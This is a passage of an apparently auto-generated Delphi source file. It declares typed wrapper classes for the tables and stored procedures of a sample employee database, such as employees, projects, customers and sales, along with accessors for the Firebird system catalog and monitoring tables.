/// <para>Domain: DEPTNO = CHAR(3) CHARACTER SET NONE CHECK (VALUE = '000' OR (VALUE > '0' AND VALUE <= '999') OR VALUE IS NULL) COLLATE NONE</para>
/// </summary>
property DeptNo: TDeptnoDomain read FDeptNo;
/// <summary>
/// <para>Field: <b>JOB_CODE</b></para>
/// <para>Type: <b>JOBCODE NOT NULL</b></para>
/// <para>Domain: JOBCODE = VARCHAR(5) CHARACTER SET NONE CHECK (VALUE > '99999') COLLATE NONE</para>
/// </summary>
property JobCode: TJobcodeDomain read FJobCode;
/// <summary>
/// <para>Field: <b>JOB_GRADE</b></para>
/// <para>Type: <b>JOBGRADE NOT NULL</b></para>
/// <para>Domain: JOBGRADE = SMALLINT CHECK (VALUE BETWEEN 0 AND 6)</para>
/// </summary>
property JobGrade: TJobgradeDomain read FJobGrade;
/// <summary>
/// <para>Field: <b>JOB_COUNTRY</b></para>
/// <para>Type: <b>COUNTRYNAME NOT NULL</b></para>
/// <para>Domain: COUNTRYNAME = VARCHAR(15) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property JobCountry: TCountrynameDomain read FJobCountry;
/// <summary>
/// <para>Field: <b>SALARY</b></para>
/// <para>Type: <b>SALARY NOT NULL</b></para>
/// <para>Domain: SALARY = NUMERIC(10, 2) DEFAULT 0 CHECK (VALUE > 0)</para>
/// </summary>
property Salary: TSalaryDomain read FSalary;
/// <summary>
/// <para>Field: <b>FULL_NAME</b></para>
/// <para>Type: <b>VARCHAR(37) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property FullName: TSqlString read FFullName;
end;
TPhoneListTable = class(TTable)
private
FEmpNo: TEmpnoDomain;
FFirstName: TFirstnameDomain;
FLastName: TLastnameDomain;
FPhoneExt: TSqlString;
FLocation: TSqlString;
FPhoneNo: TPhonenumberDomain;
public
constructor Create; override;
function GetUnique: TPhoneListTable;
published
/// <summary>
/// <para>Field: <b>EMP_NO</b></para>
/// <para>Type: <b>EMPNO</b></para>
/// <para>Domain: EMPNO = SMALLINT</para>
/// </summary>
property EmpNo: TEmpnoDomain read FEmpNo;
/// <summary>
/// <para>Field: <b>FIRST_NAME</b></para>
/// <para>Type: <b>FIRSTNAME COLLATE NONE</b></para>
/// <para>Domain: FIRSTNAME = VARCHAR(15) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property FirstName: TFirstnameDomain read FFirstName;
/// <summary>
/// <para>Field: <b>LAST_NAME</b></para>
/// <para>Type: <b>LASTNAME COLLATE NONE</b></para>
/// <para>Domain: LASTNAME = VARCHAR(20) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property LastName: TLastnameDomain read FLastName;
/// <summary>
/// <para>Field: <b>PHONE_EXT</b></para>
/// <para>Type: <b>VARCHAR(4) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property PhoneExt: TSqlString read FPhoneExt;
/// <summary>
/// <para>Field: <b>LOCATION</b></para>
/// <para>Type: <b>VARCHAR(15) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property Location: TSqlString read FLocation;
/// <summary>
/// <para>Field: <b>PHONE_NO</b></para>
/// <para>Type: <b>PHONENUMBER COLLATE NONE</b></para>
/// <para>Domain: PHONENUMBER = VARCHAR(20) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property PhoneNo: TPhonenumberDomain read FPhoneNo;
end;
TProjectTable = class(TTable)
private
FProjId: TProjnoDomain;
FProjName: TSqlString;
FProjDesc: TSqlMemo;
FTeamLeader: TEmpnoDomain;
FProduct: TProdtypeDomain;
public
constructor Create; override;
function GetUnique: TProjectTable;
published
/// <summary>
/// <para>Field: <b>PROJ_ID</b></para>
/// <para>Type: <b>PROJNO NOT NULL</b></para>
/// <para>Domain: PROJNO = CHAR(5) CHARACTER SET NONE CHECK (VALUE = UPPER (VALUE)) COLLATE NONE</para>
/// </summary>
property ProjId: TProjnoDomain read FProjId;
/// <summary>
/// <para>Field: <b>PROJ_NAME</b></para>
/// <para>Type: <b>VARCHAR(20) CHARACTER SET NONE NOT NULL COLLATE NONE</b></para>
/// </summary>
property ProjName: TSqlString read FProjName;
/// <summary>
/// <para>Field: <b>PROJ_DESC</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 800 CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property ProjDesc: TSqlMemo read FProjDesc;
/// <summary>
/// <para>Field: <b>TEAM_LEADER</b></para>
/// <para>Type: <b>EMPNO</b></para>
/// <para>Domain: EMPNO = SMALLINT</para>
/// </summary>
property TeamLeader: TEmpnoDomain read FTeamLeader;
/// <summary>
/// <para>Field: <b>PRODUCT</b></para>
/// <para>Type: <b>PRODTYPE</b></para>
/// <para>Domain: PRODTYPE = VARCHAR(12) CHARACTER SET NONE DEFAULT 'software' NOT NULL CHECK (VALUE IN ('software', 'hardware', 'other', 'N/A')) COLLATE NONE</para>
/// </summary>
property Product: TProdtypeDomain read FProduct;
end;
TEmployeeProjectTable = class(TTable)
private
FEmpNo: TEmpnoDomain;
FProjId: TProjnoDomain;
public
constructor Create; override;
function GetUnique: TEmployeeProjectTable;
published
/// <summary>
/// <para>Field: <b>EMP_NO</b></para>
/// <para>Type: <b>EMPNO NOT NULL</b></para>
/// <para>Domain: EMPNO = SMALLINT</para>
/// </summary>
property EmpNo: TEmpnoDomain read FEmpNo;
/// <summary>
/// <para>Field: <b>PROJ_ID</b></para>
/// <para>Type: <b>PROJNO NOT NULL</b></para>
/// <para>Domain: PROJNO = CHAR(5) CHARACTER SET NONE CHECK (VALUE = UPPER (VALUE)) COLLATE NONE</para>
/// </summary>
property ProjId: TProjnoDomain read FProjId;
end;
TProjDeptBudgetTable = class(TTable)
private
FFiscalYear: TSqlInteger;
FProjId: TProjnoDomain;
FDeptNo: TDeptnoDomain;
FQuartHeadCnt: TSqlInteger;
FProjectedBudget: TBudgetDomain;
public
constructor Create; override;
function GetUnique: TProjDeptBudgetTable;
published
/// <summary>
/// <para>Field: <b>FISCAL_YEAR</b></para>
/// <para>Type: <b>INTEGER NOT NULL</b></para>
/// </summary>
property FiscalYear: TSqlInteger read FFiscalYear;
/// <summary>
/// <para>Field: <b>PROJ_ID</b></para>
/// <para>Type: <b>PROJNO NOT NULL</b></para>
/// <para>Domain: PROJNO = CHAR(5) CHARACTER SET NONE CHECK (VALUE = UPPER (VALUE)) COLLATE NONE</para>
/// </summary>
property ProjId: TProjnoDomain read FProjId;
/// <summary>
/// <para>Field: <b>DEPT_NO</b></para>
/// <para>Type: <b>DEPTNO NOT NULL</b></para>
/// <para>Domain: DEPTNO = CHAR(3) CHARACTER SET NONE CHECK (VALUE = '000' OR (VALUE > '0' AND VALUE <= '999') OR VALUE IS NULL) COLLATE NONE</para>
/// </summary>
property DeptNo: TDeptnoDomain read FDeptNo;
/// <summary>
/// <para>Field: <b>QUART_HEAD_CNT</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property QuartHeadCnt: TSqlInteger read FQuartHeadCnt;
/// <summary>
/// <para>Field: <b>PROJECTED_BUDGET</b></para>
/// <para>Type: <b>BUDGET</b></para>
/// <para>Domain: BUDGET = DECIMAL(12, 2) DEFAULT 50000 CHECK (VALUE > 10000 AND VALUE <= 2000000)</para>
/// </summary>
property ProjectedBudget: TBudgetDomain read FProjectedBudget;
end;
TSalaryHistoryTable = class(TTable)
private
FEmpNo: TEmpnoDomain;
FChangeDate: TSqlDateTime;
FUpdaterId: TSqlString;
FOldSalary: TSalaryDomain;
FPercentChange: TSqlFloat;
FNewSalary: TSqlFloat;
public
constructor Create; override;
function GetUnique: TSalaryHistoryTable;
published
/// <summary>
/// <para>Field: <b>EMP_NO</b></para>
/// <para>Type: <b>EMPNO NOT NULL</b></para>
/// <para>Domain: EMPNO = SMALLINT</para>
/// </summary>
property EmpNo: TEmpnoDomain read FEmpNo;
/// <summary>
/// <para>Field: <b>CHANGE_DATE</b></para>
/// <para>Type: <b>TIMESTAMP DEFAULT 'NOW' NOT NULL</b></para>
/// </summary>
property ChangeDate: TSqlDateTime read FChangeDate;
/// <summary>
/// <para>Field: <b>UPDATER_ID</b></para>
/// <para>Type: <b>VARCHAR(20) CHARACTER SET NONE NOT NULL COLLATE NONE</b></para>
/// </summary>
property UpdaterId: TSqlString read FUpdaterId;
/// <summary>
/// <para>Field: <b>OLD_SALARY</b></para>
/// <para>Type: <b>SALARY NOT NULL</b></para>
/// <para>Domain: SALARY = NUMERIC(10, 2) DEFAULT 0 CHECK (VALUE > 0)</para>
/// </summary>
property OldSalary: TSalaryDomain read FOldSalary;
/// <summary>
/// <para>Field: <b>PERCENT_CHANGE</b></para>
/// <para>Type: <b>DOUBLE PRECISION DEFAULT 0 NOT NULL</b></para>
/// </summary>
property PercentChange: TSqlFloat read FPercentChange;
/// <summary>
/// <para>Field: <b>NEW_SALARY</b></para>
/// <para>Type: <b>DOUBLE PRECISION</b></para>
/// </summary>
property NewSalary: TSqlFloat read FNewSalary;
end;
TCustomerTable = class(TTable)
private
FCustNo: TCustnoDomain;
FCustomer: TSqlString;
FContactFirst: TFirstnameDomain;
FContactLast: TLastnameDomain;
FPhoneNo: TPhonenumberDomain;
FAddressLine1: TAddresslineDomain;
FAddressLine2: TAddresslineDomain;
FCity: TSqlString;
FStateProvince: TSqlString;
FCountry: TCountrynameDomain;
FPostalCode: TSqlString;
FOnHold: TSqlString;
public
constructor Create; override;
function GetUnique: TCustomerTable;
published
/// <summary>
/// <para>Field: <b>CUST_NO</b></para>
/// <para>Type: <b>CUSTNO NOT NULL</b></para>
/// <para>Domain: CUSTNO = INTEGER CHECK (VALUE > 1000)</para>
/// </summary>
property CustNo: TCustnoDomain read FCustNo;
/// <summary>
/// <para>Field: <b>CUSTOMER</b></para>
/// <para>Type: <b>VARCHAR(25) CHARACTER SET NONE NOT NULL COLLATE NONE</b></para>
/// </summary>
property Customer: TSqlString read FCustomer;
/// <summary>
/// <para>Field: <b>CONTACT_FIRST</b></para>
/// <para>Type: <b>FIRSTNAME</b></para>
/// <para>Domain: FIRSTNAME = VARCHAR(15) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property ContactFirst: TFirstnameDomain read FContactFirst;
/// <summary>
/// <para>Field: <b>CONTACT_LAST</b></para>
/// <para>Type: <b>LASTNAME</b></para>
/// <para>Domain: LASTNAME = VARCHAR(20) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property ContactLast: TLastnameDomain read FContactLast;
/// <summary>
/// <para>Field: <b>PHONE_NO</b></para>
/// <para>Type: <b>PHONENUMBER</b></para>
/// <para>Domain: PHONENUMBER = VARCHAR(20) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property PhoneNo: TPhonenumberDomain read FPhoneNo;
/// <summary>
/// <para>Field: <b>ADDRESS_LINE1</b></para>
/// <para>Type: <b>ADDRESSLINE</b></para>
/// <para>Domain: ADDRESSLINE = VARCHAR(30) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property AddressLine1: TAddresslineDomain read FAddressLine1;
/// <summary>
/// <para>Field: <b>ADDRESS_LINE2</b></para>
/// <para>Type: <b>ADDRESSLINE</b></para>
/// <para>Domain: ADDRESSLINE = VARCHAR(30) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property AddressLine2: TAddresslineDomain read FAddressLine2;
/// <summary>
/// <para>Field: <b>CITY</b></para>
/// <para>Type: <b>VARCHAR(25) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property City: TSqlString read FCity;
/// <summary>
/// <para>Field: <b>STATE_PROVINCE</b></para>
/// <para>Type: <b>VARCHAR(15) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property StateProvince: TSqlString read FStateProvince;
/// <summary>
/// <para>Field: <b>COUNTRY</b></para>
/// <para>Type: <b>COUNTRYNAME</b></para>
/// <para>Domain: COUNTRYNAME = VARCHAR(15) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property Country: TCountrynameDomain read FCountry;
/// <summary>
/// <para>Field: <b>POSTAL_CODE</b></para>
/// <para>Type: <b>VARCHAR(12) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property PostalCode: TSqlString read FPostalCode;
/// <summary>
/// <para>Field: <b>ON_HOLD</b></para>
/// <para>Type: <b>CHAR(1) CHARACTER SET NONE DEFAULT NULL COLLATE NONE</b></para>
/// </summary>
property OnHold: TSqlString read FOnHold;
end;
TSalesTable = class(TTable)
private
FPoNumber: TPonumberDomain;
FCustNo: TCustnoDomain;
FSalesRep: TEmpnoDomain;
FOrderStatus: TSqlString;
FOrderDate: TSqlDateTime;
FShipDate: TSqlDateTime;
FDateNeeded: TSqlDateTime;
FPaid: TSqlString;
FQtyOrdered: TSqlInteger;
FTotalValue: TSqlBcd;
FDiscount: TSqlFloat;
FItemType: TProdtypeDomain;
FAged: TSqlBcd;
public
constructor Create; override;
function GetUnique: TSalesTable;
published
/// <summary>
/// <para>Field: <b>PO_NUMBER</b></para>
/// <para>Type: <b>PONUMBER NOT NULL</b></para>
/// <para>Domain: PONUMBER = CHAR(8) CHARACTER SET NONE CHECK (VALUE STARTING WITH 'V') COLLATE NONE</para>
/// </summary>
property PoNumber: TPonumberDomain read FPoNumber;
/// <summary>
/// <para>Field: <b>CUST_NO</b></para>
/// <para>Type: <b>CUSTNO NOT NULL</b></para>
/// <para>Domain: CUSTNO = INTEGER CHECK (VALUE > 1000)</para>
/// </summary>
property CustNo: TCustnoDomain read FCustNo;
/// <summary>
/// <para>Field: <b>SALES_REP</b></para>
/// <para>Type: <b>EMPNO</b></para>
/// <para>Domain: EMPNO = SMALLINT</para>
/// </summary>
property SalesRep: TEmpnoDomain read FSalesRep;
/// <summary>
/// <para>Field: <b>ORDER_STATUS</b></para>
/// <para>Type: <b>VARCHAR(7) CHARACTER SET NONE DEFAULT 'new' NOT NULL COLLATE NONE</b></para>
/// </summary>
property OrderStatus: TSqlString read FOrderStatus;
/// <summary>
/// <para>Field: <b>ORDER_DATE</b></para>
/// <para>Type: <b>TIMESTAMP DEFAULT 'NOW' NOT NULL</b></para>
/// </summary>
property OrderDate: TSqlDateTime read FOrderDate;
/// <summary>
/// <para>Field: <b>SHIP_DATE</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property ShipDate: TSqlDateTime read FShipDate;
/// <summary>
/// <para>Field: <b>DATE_NEEDED</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property DateNeeded: TSqlDateTime read FDateNeeded;
/// <summary>
/// <para>Field: <b>PAID</b></para>
/// <para>Type: <b>CHAR(1) CHARACTER SET NONE DEFAULT 'n' COLLATE NONE</b></para>
/// </summary>
property Paid: TSqlString read FPaid;
/// <summary>
/// <para>Field: <b>QTY_ORDERED</b></para>
/// <para>Type: <b>INTEGER DEFAULT 1 NOT NULL</b></para>
/// </summary>
property QtyOrdered: TSqlInteger read FQtyOrdered;
/// <summary>
/// <para>Field: <b>TOTAL_VALUE</b></para>
/// <para>Type: <b>DECIMAL(9, 2) NOT NULL</b></para>
/// </summary>
property TotalValue: TSqlBcd read FTotalValue;
/// <summary>
/// <para>Field: <b>DISCOUNT</b></para>
/// <para>Type: <b>FLOAT DEFAULT 0 NOT NULL</b></para>
/// </summary>
property Discount: TSqlFloat read FDiscount;
/// <summary>
/// <para>Field: <b>ITEM_TYPE</b></para>
/// <para>Type: <b>PRODTYPE</b></para>
/// <para>Domain: PRODTYPE = VARCHAR(12) CHARACTER SET NONE DEFAULT 'software' NOT NULL CHECK (VALUE IN ('software', 'hardware', 'other', 'N/A')) COLLATE NONE</para>
/// </summary>
property ItemType: TProdtypeDomain read FItemType;
/// <summary>
/// <para>Field: <b>AGED</b></para>
/// <para>Type: <b>NUMERIC(0, 9)</b></para>
/// </summary>
property Aged: TSqlBcd read FAged;
end;
TGetEmpProjSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
FProjId: TSqlString;
constructor Create(AEmpNo: TSqlSmallInt); reintroduce;
published
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TGetEmpProjSelectableStoredProcedure">GET_EMP_PROJ</see></b></para>
/// <para>Name: <b>PROJ_ID</b></para>
/// <para>Type: <b>CHAR(5) CHARACTER SET NONE</b></para>
/// </summary>
property ProjId: TSqlString read FProjId;
end;
TAddEmpProjSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
constructor Create(AEmpNo: TSqlSmallInt; AProjId: TSqlString); reintroduce;
published
end;
TSubTotBudgetSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
FTotBudget: TSqlBcd;
FAvgBudget: TSqlBcd;
FMinBudget: TSqlBcd;
FMaxBudget: TSqlBcd;
constructor Create(AHeadDept: TSqlString); reintroduce;
published
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TSubTotBudgetSelectableStoredProcedure">SUB_TOT_BUDGET</see></b></para>
/// <para>Name: <b>TOT_BUDGET</b></para>
/// <para>Type: <b>DECIMAL(12, 2)</b></para>
/// </summary>
property TotBudget: TSqlBcd read FTotBudget;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TSubTotBudgetSelectableStoredProcedure">SUB_TOT_BUDGET</see></b></para>
/// <para>Name: <b>AVG_BUDGET</b></para>
/// <para>Type: <b>DECIMAL(12, 2)</b></para>
/// </summary>
property AvgBudget: TSqlBcd read FAvgBudget;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TSubTotBudgetSelectableStoredProcedure">SUB_TOT_BUDGET</see></b></para>
/// <para>Name: <b>MIN_BUDGET</b></para>
/// <para>Type: <b>DECIMAL(12, 2)</b></para>
/// </summary>
property MinBudget: TSqlBcd read FMinBudget;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TSubTotBudgetSelectableStoredProcedure">SUB_TOT_BUDGET</see></b></para>
/// <para>Name: <b>MAX_BUDGET</b></para>
/// <para>Type: <b>DECIMAL(12, 2)</b></para>
/// </summary>
property MaxBudget: TSqlBcd read FMaxBudget;
end;
TDeleteEmployeeSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
constructor Create(AEmpNum: TSqlInteger); reintroduce;
published
end;
TDeptBudgetSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
FTot: TSqlBcd;
constructor Create(ADno: TSqlString); reintroduce;
published
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TDeptBudgetSelectableStoredProcedure">DEPT_BUDGET</see></b></para>
/// <para>Name: <b>TOT</b></para>
/// <para>Type: <b>DECIMAL(12, 2)</b></para>
/// </summary>
property Tot: TSqlBcd read FTot;
end;
TOrgChartSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
FHeadDept: TSqlString;
FDepartment: TSqlString;
FMngrName: TSqlString;
FTitle: TSqlString;
FEmpCnt: TSqlInteger;
constructor Create(); reintroduce;
published
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TOrgChartSelectableStoredProcedure">ORG_CHART</see></b></para>
/// <para>Name: <b>HEAD_DEPT</b></para>
/// <para>Type: <b>CHAR(25) CHARACTER SET NONE</b></para>
/// </summary>
property HeadDept: TSqlString read FHeadDept;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TOrgChartSelectableStoredProcedure">ORG_CHART</see></b></para>
/// <para>Name: <b>DEPARTMENT</b></para>
/// <para>Type: <b>CHAR(25) CHARACTER SET NONE</b></para>
/// </summary>
property Department: TSqlString read FDepartment;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TOrgChartSelectableStoredProcedure">ORG_CHART</see></b></para>
/// <para>Name: <b>MNGR_NAME</b></para>
/// <para>Type: <b>CHAR(20) CHARACTER SET NONE</b></para>
/// </summary>
property MngrName: TSqlString read FMngrName;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TOrgChartSelectableStoredProcedure">ORG_CHART</see></b></para>
/// <para>Name: <b>TITLE</b></para>
/// <para>Type: <b>CHAR(5) CHARACTER SET NONE</b></para>
/// </summary>
property Title: TSqlString read FTitle;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TOrgChartSelectableStoredProcedure">ORG_CHART</see></b></para>
/// <para>Name: <b>EMP_CNT</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property EmpCnt: TSqlInteger read FEmpCnt;
end;
TMailLabelSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
FLine1: TSqlString;
FLine2: TSqlString;
FLine3: TSqlString;
FLine4: TSqlString;
FLine5: TSqlString;
FLine6: TSqlString;
constructor Create(ACustNo: TSqlInteger); reintroduce;
published
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TMailLabelSelectableStoredProcedure">MAIL_LABEL</see></b></para>
/// <para>Name: <b>LINE1</b></para>
/// <para>Type: <b>CHAR(40) CHARACTER SET NONE</b></para>
/// </summary>
property Line1: TSqlString read FLine1;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TMailLabelSelectableStoredProcedure">MAIL_LABEL</see></b></para>
/// <para>Name: <b>LINE2</b></para>
/// <para>Type: <b>CHAR(40) CHARACTER SET NONE</b></para>
/// </summary>
property Line2: TSqlString read FLine2;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TMailLabelSelectableStoredProcedure">MAIL_LABEL</see></b></para>
/// <para>Name: <b>LINE3</b></para>
/// <para>Type: <b>CHAR(40) CHARACTER SET NONE</b></para>
/// </summary>
property Line3: TSqlString read FLine3;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TMailLabelSelectableStoredProcedure">MAIL_LABEL</see></b></para>
/// <para>Name: <b>LINE4</b></para>
/// <para>Type: <b>CHAR(40) CHARACTER SET NONE</b></para>
/// </summary>
property Line4: TSqlString read FLine4;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TMailLabelSelectableStoredProcedure">MAIL_LABEL</see></b></para>
/// <para>Name: <b>LINE5</b></para>
/// <para>Type: <b>CHAR(40) CHARACTER SET NONE</b></para>
/// </summary>
property Line5: TSqlString read FLine5;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TMailLabelSelectableStoredProcedure">MAIL_LABEL</see></b></para>
/// <para>Name: <b>LINE6</b></para>
/// <para>Type: <b>CHAR(40) CHARACTER SET NONE</b></para>
/// </summary>
property Line6: TSqlString read FLine6;
end;
TShipOrderSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
constructor Create(APoNum: TSqlString); reintroduce;
published
end;
TShowLangsSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
FLanguages: TSqlString;
constructor Create(ACode: TSqlString; AGrade: TSqlSmallInt; ACty: TSqlString); reintroduce;
published
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TShowLangsSelectableStoredProcedure">SHOW_LANGS</see></b></para>
/// <para>Name: <b>LANGUAGES</b></para>
/// <para>Type: <b>VARCHAR(15) CHARACTER SET NONE</b></para>
/// </summary>
property Languages: TSqlString read FLanguages;
end;
TAllLangsSelectableStoredProcedure = class(TSelectableStoredProcedure)
private
FCode: TSqlString;
FGrade: TSqlString;
FCountry: TSqlString;
FLang: TSqlString;
constructor Create(); reintroduce;
published
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TAllLangsSelectableStoredProcedure">ALL_LANGS</see></b></para>
/// <para>Name: <b>CODE</b></para>
/// <para>Type: <b>VARCHAR(5) CHARACTER SET NONE</b></para>
/// </summary>
property Code: TSqlString read FCode;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TAllLangsSelectableStoredProcedure">ALL_LANGS</see></b></para>
/// <para>Name: <b>GRADE</b></para>
/// <para>Type: <b>VARCHAR(5) CHARACTER SET NONE</b></para>
/// </summary>
property Grade: TSqlString read FGrade;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TAllLangsSelectableStoredProcedure">ALL_LANGS</see></b></para>
/// <para>Name: <b>COUNTRY</b></para>
/// <para>Type: <b>VARCHAR(15) CHARACTER SET NONE</b></para>
/// </summary>
property Country: TSqlString read FCountry;
/// <summary>
/// <para>Result field of procedure <b><see cref="EmpDatabase|TAllLangsSelectableStoredProcedure">ALL_LANGS</see></b></para>
/// <para>Name: <b>LANG</b></para>
/// <para>Type: <b>VARCHAR(15) CHARACTER SET NONE</b></para>
/// </summary>
property Lang: TSqlString read FLang;
end;
TEmpDb = record
strict private
FRdbPages: TRdbPagesTable;
FRdbDatabase: TRdbDatabaseTable;
FRdbFields: TRdbFieldsTable;
FRdbIndexSegments: TRdbIndexSegmentsTable;
FRdbIndices: TRdbIndicesTable;
FRdbRelationFields: TRdbRelationFieldsTable;
FRdbRelations: TRdbRelationsTable;
FRdbViewRelations: TRdbViewRelationsTable;
FRdbFormats: TRdbFormatsTable;
FRdbSecurityClasses: TRdbSecurityClassesTable;
FRdbFiles: TRdbFilesTable;
FRdbTypes: TRdbTypesTable;
FRdbTriggers: TRdbTriggersTable;
FRdbDependencies: TRdbDependenciesTable;
FRdbFunctions: TRdbFunctionsTable;
FRdbFunctionArguments: TRdbFunctionArgumentsTable;
FRdbFilters: TRdbFiltersTable;
FRdbTriggerMessages: TRdbTriggerMessagesTable;
FRdbUserPrivileges: TRdbUserPrivilegesTable;
FRdbTransactions: TRdbTransactionsTable;
FRdbGenerators: TRdbGeneratorsTable;
FRdbFieldDimensions: TRdbFieldDimensionsTable;
FRdbRelationConstraints: TRdbRelationConstraintsTable;
FRdbRefConstraints: TRdbRefConstraintsTable;
FRdbCheckConstraints: TRdbCheckConstraintsTable;
FRdbLogFiles: TRdbLogFilesTable;
FRdbProcedures: TRdbProceduresTable;
FRdbProcedureParameters: TRdbProcedureParametersTable;
FRdbCharacterSets: TRdbCharacterSetsTable;
FRdbCollations: TRdbCollationsTable;
FRdbExceptions: TRdbExceptionsTable;
FRdbRoles: TRdbRolesTable;
FRdbBackupHistory: TRdbBackupHistoryTable;
FMonDatabase: TMonDatabaseTable;
FMonAttachments: TMonAttachmentsTable;
FMonTransactions: TMonTransactionsTable;
FMonStatements: TMonStatementsTable;
FMonCallStack: TMonCallStackTable;
FMonIoStats: TMonIoStatsTable;
FMonRecordStats: TMonRecordStatsTable;
FMonContextVariables: TMonContextVariablesTable;
FMonMemoryUsage: TMonMemoryUsageTable;
FCountry: TCountryTable;
FJob: TJobTable;
FDepartment: TDepartmentTable;
FEmployee: TEmployeeTable;
FPhoneList: TPhoneListTable;
FProject: TProjectTable;
FEmployeeProject: TEmployeeProjectTable;
FProjDeptBudget: TProjDeptBudgetTable;
FSalaryHistory: TSalaryHistoryTable;
FCustomer: TCustomerTable;
FSales: TSalesTable;
private
_FDbModelsStorage: IDbModelsStorage;
procedure CreateTableInstance(var FTableVariable: TTable; TableClass: TTableClass; out Table: TTable); inline;
constructor Create(AParam: Integer);
public
/// <summary>
/// <para><b>RDB$PAGES</b> - table</para>
/// </summary>
function RdbPages: TRdbPagesTable; overload;
/// <summary>
/// <para><b>RDB$DATABASE</b> - table</para>
/// </summary>
function RdbDatabase: TRdbDatabaseTable; overload;
/// <summary>
/// <para><b>RDB$FIELDS</b> - table</para>
/// </summary>
function RdbFields: TRdbFieldsTable; overload;
/// <summary>
/// <para><b>RDB$INDEX_SEGMENTS</b> - table</para>
/// </summary>
function RdbIndexSegments: TRdbIndexSegmentsTable; overload;
/// <summary>
/// <para><b>RDB$INDICES</b> - table</para>
/// </summary>
function RdbIndices: TRdbIndicesTable; overload;
/// <summary>
/// <para><b>RDB$RELATION_FIELDS</b> - table</para>
/// </summary>
function RdbRelationFields: TRdbRelationFieldsTable; overload;
/// <summary>
/// <para><b>RDB$RELATIONS</b> - table</para>
/// </summary>
function RdbRelations: TRdbRelationsTable; overload;
/// <summary>
/// <para><b>RDB$VIEW_RELATIONS</b> - table</para>
/// </summary>
function RdbViewRelations: TRdbViewRelationsTable; overload;
/// <summary>
/// <para><b>RDB$FORMATS</b> - table</para>
/// </summary>
function RdbFormats: TRdbFormatsTable; overload;
/// <summary>
/// <para><b>RDB$SECURITY_CLASSES</b> - table</para>
/// </summary>
function RdbSecurityClasses: TRdbSecurityClassesTable; overload;
/// <summary>
/// <para><b>RDB$FILES</b> - table</para>
/// </summary>
function RdbFiles: TRdbFilesTable; overload;
/// <summary>
/// <para><b>RDB$TYPES</b> - table</para>
/// </summary>
function RdbTypes: TRdbTypesTable; overload;
/// <summary>
/// <para><b>RDB$TRIGGERS</b> - table</para>
/// </summary>
function RdbTriggers: TRdbTriggersTable; overload;
/// <summary>
/// <para><b>RDB$DEPENDENCIES</b> - table</para>
/// </summary>
function RdbDependencies: TRdbDependenciesTable; overload;
/// <summary>
/// <para><b>RDB$FUNCTIONS</b> - table</para>
/// </summary>
function RdbFunctions: TRdbFunctionsTable; overload;
/// <summary>
/// <para><b>RDB$FUNCTION_ARGUMENTS</b> - table</para>
/// </summary>
function RdbFunctionArguments: TRdbFunctionArgumentsTable; overload;
/// <summary>
/// <para><b>RDB$FILTERS</b> - table</para>
/// </summary>
function RdbFilters: TRdbFiltersTable; overload;
/// <summary>
/// <para><b>RDB$TRIGGER_MESSAGES</b> - table</para>
/// </summary>
function RdbTriggerMessages: TRdbTriggerMessagesTable; overload;
/// <summary>
/// <para><b>RDB$USER_PRIVILEGES</b> - table</para>
/// </summary>
function RdbUserPrivileges: TRdbUserPrivilegesTable; overload;
/// <summary>
/// <para><b>RDB$TRANSACTIONS</b> - table</para>
/// </summary>
function RdbTransactions: TRdbTransactionsTable; overload;
/// <summary>
/// <para><b>RDB$GENERATORS</b> - table</para>
/// </summary>
function RdbGenerators: TRdbGeneratorsTable; overload;
/// <summary>
